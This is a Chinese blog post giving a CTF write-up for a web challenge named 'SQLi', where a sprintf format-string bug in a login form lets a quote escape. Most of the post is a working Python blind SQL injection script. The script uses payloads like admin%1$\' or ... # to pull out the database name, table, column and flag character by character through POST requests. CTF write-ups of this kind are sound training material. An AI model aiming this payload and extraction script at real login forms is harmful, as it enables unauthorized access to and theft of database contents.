美文网首页CTF-WEB
CTF-“迎圣诞,拿大奖”活动赛题SQLi

CTF-“迎圣诞,拿大奖”活动赛题SQLi

作者: yytester | 来源:发表于2018-07-26 20:39 被阅读254次

    分值:200分 类型:Web题目名称:SQLi
    题目内容:find the flag.


    解题步骤

    1. 进入链接,发现是个登录页面,没有注册的地方,填入admin&admin,提示password error!
    2. 分析报文,无异常
    3. intruder一遍,发现username是admin%时报错
      image.png
    4. 显然是sprintf的格式化问题导致单引号逃逸
    5. 尝试各种字符串后,postdata为 username=admin%1$\\' or 1=1 # &password=admin显示password error! . username=admin%1$\\' or 1=2 # &password=admin显示username error! ,显然注入点就是这里了.
    6. 用脚本跑出flag

    代码:

    #coding:utf-8
    
    import requests
    import string
    
    def boom():
        url = r'http://af6add5b19fe4fddad8a5d5e413129df464f7ee5ce6d4a89.game.ichunqiu.com/index.php'
        s = requests.session()
        dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
        right = 'password error!'
        error = 'username error!'
    
        lens = 0
        i = 0
        while True:
            payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
            data={'username':payload,'password':1}
            r = s.post(url,data=data).content
            if error in r:
                lens=i
                break
            i+=1
            pass
        print("[+]length(database()): %d" %(lens))
    
        strs=''
        for i in range(lens+1):
            for c in dic:
                payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
                data = {'username':payload,'password':1}
                r = s.post(url,data=data).content
                if right in r:
                    strs = strs + c
                    print strs
                    break
            pass
        pass
        print("[+]database():%s" %(strs))
    
        lens=0
        i = 1
        while True:
            payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if error in r:
                lens = i
                break
            i+=1
            pass
        print("[+]length(table): %d" %(lens))
    
        strs=''
        for i in range(lens+1):
            for c in dic:
                payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
                data = {'username':payload,'password':1}
                r = s.post(url,data=data).content
                if right in r:
                    strs = strs + c
                    print strs
                    break
            pass
        pass
        print("[+]table_name:%s" %(strs))
        tablename = '0x' + strs.encode('hex')
        table_name = strs
    
        lens=0
        i = 0
        while True:
            payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if error in r:
                lens = i
                break
            i+=1
            pass
        print("[+]length(column): %d" %(lens))
    
        strs=''
        for i in range(lens+1):
            for c in dic:
                payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
                data = {'username':payload,'password':1}
                r = s.post(url,data=data).content
                if right in r:
                    strs = strs + c
                    print strs
                    break
            pass
        pass
        print("[+]column_name:%s" %(strs))
        column_name = strs
    
        num=0
        i = 0
        while True:
            payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if error in r:
                num = i
                break
            i+=1
            pass
        print("[+]number(column): %d" %(num))
    
        lens=0
        i = 0
        while True:
            payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if error in r:
                lens = i
                break
            i+=1
            pass
        print("[+]length(value): %d" %(lens))
    
        i=1    
        strs=''
        for i in range(lens+1):
            for c in dic:
                payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
                data = {'username':payload,'password':'1'}
                r = s.post(url,data=data).content
                if right in r:
                    strs = strs + c
                    print strs
                    break
            pass
        pass
        print("[+]flag:%s" %(strs))
    
    if __name__ == '__main__':
        boom()
        print 'Finish!'
    

    知识点

    相关文章

      网友评论

        本文标题:CTF-“迎圣诞,拿大奖”活动赛题SQLi

        本文链接:https://www.haomeiwen.com/subject/afbvmftx.html